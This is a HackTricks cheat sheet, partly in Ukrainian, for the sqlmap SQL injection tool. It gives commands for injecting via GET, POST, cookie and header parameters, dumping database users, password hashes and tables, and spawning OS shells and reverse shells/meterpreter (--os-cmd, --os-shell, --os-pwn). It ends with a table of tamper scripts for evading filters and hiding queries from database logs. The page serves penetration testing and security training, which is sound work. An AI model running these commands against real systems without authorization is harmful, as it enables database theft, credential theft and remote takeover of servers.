hacktricks/pentesting-web/sql-injection/sqlmap.md

12 KiB
Raw Blame History

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Основні аргументи для SQLmap

Загальні

-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=PROXY

Отримати інформацію

Внутрішній

--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB

Дані БД

--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

Injection place

From Burp/ZAP capture

Захопіть запит і створіть файл req.txt

sqlmap -r req.txt --current-user

Впровадження GET запиту

sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

Впровадження запиту POST

sqlmap -u "http://example.com" --data "username=*&password=*"

Ін'єкції в заголовках та інших HTTP методах

#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

Ін'єкція другого порядку

python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Шелл

#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

Обхід веб-сайту з SQLmap та автоматичне використання вразливостей

sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

Налаштування ін'єкції

Встановити суфікс

python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

Префікс

python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

Допомога у знаходженні булевої ін'єкції

# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Tamper

--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
Tamper Опис
apostrophemask.py Замінює символ апострофа на його повноширокий UTF-8 аналог
apostrophenullencode.py Замінює символ апострофа на його незаконний подвоєний юнікодний аналог
appendnullbyte.py Додає закодований символ NULL байта в кінець payload
base64encode.py Кодує всі символи в заданому payload у Base64
between.py Замінює оператор більше ніж '&gt;' на 'NOT BETWEEN 0 AND #'
bluecoat.py Замінює символ пробілу після SQL запиту на дійсний випадковий порожній символ. Потім замінює символ = на оператор LIKE
chardoubleencode.py Подвійно URL-кодує всі символи в заданому payload не обробляючи вже закодовані
commalesslimit.py Замінює випадки на 'LIMIT M, N' на 'LIMIT N OFFSET M'
commalessmid.py Замінює випадки на 'MID(A, B, C)' на 'MID(A FROM B FOR C)'
concat2concatws.py Замінює випадки на 'CONCAT(A, B)' на 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'
charencode.py URL-кодує всі символи в заданому payload не обробляючи вже закодовані
charunicodeencode.py Юнікод-URL-кодує не закодовані символи в заданому payload не обробляючи вже закодовані. "%u0022"
charunicodeescape.py Юнікод-URL-кодує не закодовані символи в заданому payload не обробляючи вже закодовані. "\u0022"
equaltolike.py Замінює всі випадки оператора рівності '=' на оператор 'LIKE'
escapequotes.py Екранує лапки ' і "
greatest.py Замінює оператор більше ніж '&gt;' на 'GREATEST' аналог
halfversionedmorekeywords.py Додає версійний коментар MySQL перед кожним ключовим словом
ifnull2ifisnull.py Замінює випадки на 'IFNULL(A, B)' на 'IF(ISNULL(A), B, A)'
modsecurityversioned.py Огортає повний запит версійним коментарем
modsecurityzeroversioned.py Огортає повний запит коментарем з нульовою версією
multiplespaces.py Додає кілька пробілів навколо SQL ключових слів
nonrecursivereplacement.py Замінює попередньо визначені SQL ключові слова на представлення, придатні для заміни (наприклад, .replace("SELECT", "")) фільтри
percentage.py Додає знак відсотка '%' перед кожним символом
overlongutf8.py Перетворює всі символи в заданому payload не обробляючи вже закодовані
randomcase.py Замінює кожен символ ключового слова на випадковий регістр
randomcomments.py Додає випадкові коментарі до SQL ключових слів
securesphere.py Додає спеціально підготовлений рядок
sp_password.py Додає 'sp_password' в кінець payload для автоматичного затемнення з журналів DBMS
space2comment.py Замінює символ пробілу ' ' на коментарі
space2dash.py Замінює символ пробілу ' ' на коментар з дефісом '--', за яким слідує випадковий рядок і новий рядок '\n'
space2hash.py Замінює символ пробілу ' ' на символ фунта '\#', за яким слідує випадковий рядок і новий рядок '\n'
space2morehash.py Замінює символ пробілу ' ' на символ фунта '\#', за яким слідує випадковий рядок і новий рядок '\n'
space2mssqlblank.py Замінює символ пробілу ' ' на випадковий порожній символ з дійсного набору альтернативних символів
space2mssqlhash.py Замінює символ пробілу ' ' на символ фунта '\#', за яким слідує новий рядок '\n'
space2mysqlblank.py Замінює символ пробілу ' ' на випадковий порожній символ з дійсного набору альтернативних символів
space2mysqldash.py Замінює символ пробілу ' ' на коментар з дефісом '--', за яким слідує новий рядок '\n'
space2plus.py Замінює символ пробілу ' ' на плюс '+'
space2randomblank.py Замінює символ пробілу ' ' на випадковий порожній символ з дійсного набору альтернативних символів
symboliclogical.py Замінює логічні оператори AND і OR на їх символічні аналоги (&& і
unionalltounion.py Замінює UNION ALL SELECT на UNION SELECT
unmagicquotes.py Замінює символ лапки ' на комбінацію з багатьох байтів %bf%27 разом з загальним коментарем в кінці щоб це працювало
uppercase.py Замінює кожен символ ключового слова на верхній регістр 'INSERT'
varnish.py Додає HTTP заголовок 'X-originating-IP'
versionedkeywords.py Огортає кожне не функціональне ключове слово версійним коментарем MySQL
versionedmorekeywords.py Огортає кожне ключове слово версійним коментарем MySQL
xforwardedfor.py Додає фальшивий HTTP заголовок 'X-Forwarded-For'

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}